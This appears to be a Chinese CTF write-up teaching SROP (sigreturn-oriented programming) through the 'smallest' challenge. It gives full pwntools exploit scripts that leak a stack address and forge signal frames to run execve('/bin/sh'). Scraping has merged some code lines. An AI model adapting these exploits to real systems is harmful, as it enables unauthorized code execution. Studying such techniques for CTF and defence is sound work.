基础看ctf-wiki和《权威指南pwn》
出自论文: Framing Signals — A Return to Portable Shellcode
理论基础
32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
攻击条件
1.栈溢出,且大小足够
2.知道以下内容地址
“/bin/sh”、signal frame、syscall、sigreturn
对sigreturn, 只要rax=15(64位下),执行syscall即可,rax可以通过一些方式来间接控制,比如作为read的返回值(读取的字节数)
例题  360 春秋杯  smallest-pwn

		这个不能用正常程序的流程来看待,就这几行汇编, 首先向栈顶读取了0x400字符,然后ret, 又会从栈顶取值作为下一条指令.
		程序中没有sigreturn系统调用,但是有read,通过read可以控制rax寄存器的值, 然后再调用syscall即可,换句话说,其实可以调用任意的系统调用(不考虑其他寄存器是否满足条件)
		execve(“/bin/sh”,0,0) 最终的目标是要执行这个, 但现在最大的问题是, 不知道”/bin/sh”的地址,所以需要想办法泄露栈地址,然后输入到这个确定的地址上面.
攻击步骤
1.泄露地址
		因为ret后从rsp取值,所以rsp这里要放几个程序的起始地址start_addr,然后首先要利用write输出栈的地址,可以看到这两句指令
| 12
 3
 
 | mov rsi,rspmov rdi,rax
 syscall
 
 | 
		如果利用之前的read把rax控制为1,那么就可以调用write的系统调用了,而rsi正好是rsp,所以可以输出一个rsp中的一个栈指针,理论上也是指向栈的某个位置.
		要执行write的话,需要跳过xor这条指令,所以是不是应该在rsp上放一个0x400b3,也就是xor下一条指令的地址呢? 理论上需要,其实也不用,因为在输入一个字符的时候,可以输入\xb3, 这样把rsp上原先存放的start_addr地址的最后一个字节改了,也可以实现这个效果

| 12
 3
 4
 5
 6
 
 | payload = p64(start_addr) * 3sh.send(payload)
 
 sh.send('\xb3')
 stack_addr = u64(sh.recv()[8:16])
 log.success('leak stack addr :' + hex(stack_addr))
 
 | 
		在输出的时候可以看到第二个地址才是栈上地址,所以取值[8:16], 为啥rsp上面要放3三个初始地址呢?
		第一个用来读入 \xb3,  第二个时 进入了write,泄露地址, 第三个该继续走下面流程了

		
2.构造frame: 实现读入已知地址的功能
		刚开始非常纳闷…这段汇编给的就是read的汇编,为啥要用frame构造啊….后来想明白后,还是自己太想当然了,前面给的read的汇编是不知道rsp的地址的,通过构造的frame,在恢复的时候,可以指定rsp的值,这样才能知道/bin/sh的地址(或许可以暴力破解?
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | sigframe = SigreturnFrame()sigframe.rax = constants.SYS_read
 sigframe.rdi = 0
 sigframe.rsi = stack_addr
 sigframe.rdx = 0x400
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_ret
 payload = p64(start_addr) + 'a' * 8 + str(sigframe)
 sh.send(payload)
 
 
 sigreturn = p64(syscall_ret) + 'b' * 7
 sh.send(sigreturn)
 
 | 
		7个b不会影响吗??? 会覆盖sigframe的开头,但是不知道覆盖的哪个寄存器????,不过看结果是没影响的
3. 读如execve的frame,然后执行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execve
 sigframe.rdi = stack_addr + 0x120
 sigframe.rsi = 0x0
 sigframe.rdx = 0x0
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_ret
 frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)
 payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'
 sh.send(payload)
 sh.send(sigreturn)
 
 | 
		与2原理一样,读入frame,然后执行
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 
 | from pwn import *small = ELF('./smallest')
 
 if args['REMOTE']:
 sh = remote('127.0.0.1', 7777)
 else:
 sh = process('./smallest')
 context.terminal = ['tmux', 'splitw', '-h']
 gdb.attach(sh)
 context.arch = 'amd64'
 context.log_level = 'debug'
 syscall_ret = 0x00000000004000BE
 start_addr = 0x00000000004000B0
 payload = p64(start_addr) * 3
 
 sh.send(payload)
 pause()
 sh.send("\xb3")
 stack_addr = u64(sh.recv()[8:16])
 log.success('leak stack addr :' + hex(stack_addr))
 
 sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_read
 sigframe.rdi = 0
 sigframe.rsi = stack_addr
 sigframe.rdx = 0x400
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_ret
 payload = p64(start_addr) + b'a'*8 + bytes(sigframe)
 sh.send(payload)
 sigreturn = p64(syscall_ret) + b"b"*7
 pause()
 sh.send(sigreturn)
 
 sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_execve
 sigframe.rdi = stack_addr + 0x120
 sigframe.rsi = 0x0
 sigframe.rdx = 0x0
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_ret
 pause()
 frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)
 payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'
 sh.send(payload)
 pause()
 sh.send(sigreturn)
 sh.interactive()
 
 | 
暴力破解解法
		不过这个解法也是基于在本地能大概看一下偏移差多少的情况下,如果直接暴力破解的话,难度应该会更大一点

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | from pwn import *small = ELF('./smallest')
 
 sh = process('./smallest')
 context.terminal = ['tmux', 'splitw', '-h']
 
 context.arch = 'amd64'
 context.log_level = 'debug'
 syscall_ret = 0x00000000004000BE
 start_addr = 0x00000000004000B0
 payload = p64(start_addr) * 3
 
 sh.send(payload)
 
 sh.send(b"\xb3")
 stack_addr = u64(sh.recv()[8:16])
 log.success('leak stack addr :' + hex(stack_addr))
 
 
 sigreturn = p64(syscall_ret) + b"b"*7
 
 sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_execve
 sigframe.rdi = stack_addr  -0xa1f
 sigframe.rsi = 0x0
 sigframe.rdx = 0x0
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_ret
 frame_payload = p64(start_addr) + b"c"*8 + bytes(sigframe)
 payload = frame_payload + b'/bin/sh\x00'*90
 
 sh.send(payload)
 sh.send(sigreturn)
 sh.interactive()
 
 | 
其他
gdb中如何查看 sigframe结构?
gdb查看结构体信息
https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-print-pretty-on.html